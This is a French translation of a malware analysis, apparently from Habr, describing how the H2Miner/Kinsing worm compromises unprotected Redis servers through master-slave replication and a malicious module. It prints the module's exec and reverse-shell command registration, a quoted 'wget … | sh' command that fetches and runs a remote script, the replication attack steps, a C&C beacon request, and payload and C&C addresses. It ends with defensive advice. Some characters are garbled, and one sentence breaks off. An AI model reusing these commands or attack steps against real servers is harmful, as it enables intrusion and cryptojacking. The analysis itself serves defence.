Il y a un jour, l'un des serveurs de mon projet a été attaqué par un ver similaire. à la recherche d'une réponse à la question « qu'est-ce que c'était ? », j'ai trouvé un excellent article de l'équipe de Alibaba Cloud Security. Comme je n'ai pas trouvé cet article sur Habrahabr, j'ai décidé de le traduire spécialement pour vous <3
Introduction
Récemment, l'équipe de sécurité d'Alibaba Cloud a découvert une épidémie soudaine de H2Miner. Ce type de ver malveillant exploite l'absence d'autorisation ou des mots de passe faibles pour Redis comme portes d'entrée à vos systÚmes, puis synchronise son propre module malveillant avec le slave via la synchronisation master-slave et, enfin, télécharge ce module malveillant sur la machine ciblée et exécute des instructions malveillantes.
Autrefois, les attaques sur vos systÚmes étaient principalement effectuées par un méthode impliquant des tùches planifiées ou des clés SSH qui étaient écrites sur votre machine aprÚs que l'intrus ait accédé à Redis. Heureusement, cette méthode n'est pas souvent utilisée en raison de problÚmes de contrÎle des autorisations ou à cause de différentes versions du systÚme. Néanmoins, ce mode de téléchargement de module malveillant peut directement exécuter des commandes de l'attaquant ou accéder au shell, ce qui est dangereux pour votre systÚme.
En raison du grand nombre serveurs de Redis, hébergés sur Internet (prÚs d'un million), l'équipe de sécurité d'Alibaba Cloud, en tant que rappel amical, recommande aux utilisateurs de ne pas fournir d'accÚs à Redis depuis le réseau et de vérifier réguliÚrement la robustesse de leurs mots de passe, et s'ils ne sont pas vulnérables à une attaque par force brute.
H2Miner
H2Miner est un botnet de minage pour les systÚmes basés sur Linux, qui peut infiltrer votre systÚme de différentes maniÚres, y compris l'absence d'autorisation dans Hadoop YARN, Docker, et une vulnérabilité d'exécution de commande à distance Redis (RCE). Le botnet fonctionne en téléchargeant des scripts malveillants et des logiciels malveillants pour miner vos données, élargir horizontalement l'attaque et maintenir une communication de commande et de contrÎle (C&C).
RCE Redis
Pavel Toporkov a partagĂ© ses connaissances sur ce sujet lors de ZeroNights 2018. Depuis la version 4.0, Redis prend en charge la fonction de chargement de modules externes, qui permet aux utilisateurs de charger des fichiers so, compilĂ©s avec C dans Redis pour exĂ©cuter certaines commandes Redis. Cette fonction, bien que utile, prĂ©sente une vulnĂ©rabilitĂ©, oĂč en mode master-slave, les fichiers peuvent ĂȘtre synchronisĂ©s avec le slave via le mode fullresync. Cela peut ĂȘtre exploitĂ© par un attaquant pour transmettre des fichiers so malveillants. Une fois le transfert terminĂ©, les attaquants chargent le module sur l'instance Redis attaquĂ©e et exĂ©cutent n'importe quelle commande.
Analyse du ver malveillant
Récemment, l'équipe de sécurité d'Alibaba Cloud a découvert que la taille du groupe de mineurs malveillants H2Miner avait soudainement augmenté. Selon l'analyse, le processus global de l'attaque se déroule comme suit :

H2Miner utilise RCE Redis pour une attaque complÚte. Tout d'abord, les attaquants ciblent des serveurs Redis non protégés ou des serveurs avec des mots de passe faibles.
Ensuite, ils utilisent la commande config set dbfilename red2.so pour changer le nom du fichier. AprÚs cela, les attaquants exécutent la commande slaveof pour définir l'adresse de l'hÎte de réplication master-slave.
Lorsque l'instance Redis attaquée établit une connexion master-slave avec le Redis malveillant appartenant à l'attaquant, ce dernier envoie le module infecté à l'aide de la commande fullresync pour synchroniser les fichiers. Ensuite, le fichier red2.so sera chargé sur la machine attaquée. Les attaquants utilisent ensuite le module .\/red2.so pour charger ce fichier so. Le module peut exécuter des commandes de l'attaquant ou initier une connexion inversée (backdoor) pour accéder à la machine attaquée.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
AprĂšs avoir exĂ©cutĂ© une commande malveillante, comme / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, l'attaquant supprimera le nom du fichier de sauvegarde et dĂ©chargera le module systĂšme pour effacer les traces. Cependant, le fichier red2.so restera sur la machine attaquĂ©e. Il est conseillĂ© aux utilisateurs de prĂȘter attention Ă la prĂ©sence d'un tel fichier suspect dans le dossier de leur instance Redis.
En plus de détruire certains processus malveillants pour voler des ressources, l'attaquant a suivi un scénario malveillant en téléchargeant et exécutant des fichiers malveillants au format binaire afin de . Cela signifie que le nom du processus ou le nom du répertoire contenant kinsing sur l'hÎte peut indiquer que cette machine a été infectée par ce virus.
Selon les résultats de l'ingénierie inverse, le logiciel malveillant exécute principalement les fonctions suivantes :
- Téléchargement et exécution de fichiers
- Mining
- Maintien de la communication C&C et exécution des commandes de l'attaquant

Utilisez masscan pour le scan externe afin d'Ă©tendre l'influence. De plus, l'adresse IP du serveur C&C est codĂ©e en dur dans le programme, et l'hĂŽte ciblĂ© communiquera avec le serveur C&C via des requĂȘtes HTTP, oĂč les informations du zombie (serveur compromis) sont identifiĂ©es dans l'en-tĂȘte HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Autres méthodes d'attaque

Adresses et liens utilisés par le ver
/kinsing
âą 142.44.191.122/t.sh
âą 185.92.74.42/h.sh
âą 142.44.191.122/spr.sh
âą 142.44.191.122/spre.sh
âą 195.3.146.118/unk.sh
c&c
âą 45.10.88.102
âą 91.215.169.111
âą 139.99.50.255
âą 46.243.253.167
âą 195.123.220.193
Conseil
Tout d'abord, Redis ne doit pas ĂȘtre accessible depuis Internet et doit ĂȘtre protĂ©gĂ© par un mot de passe solide. Il est Ă©galement important que les clients vĂ©rifient l'absence du fichier red2.so dans le rĂ©pertoire Redis et l'absence de « kinsing » dans le nom de fichier / processus sur l'hĂŽte.
Source : habr.com
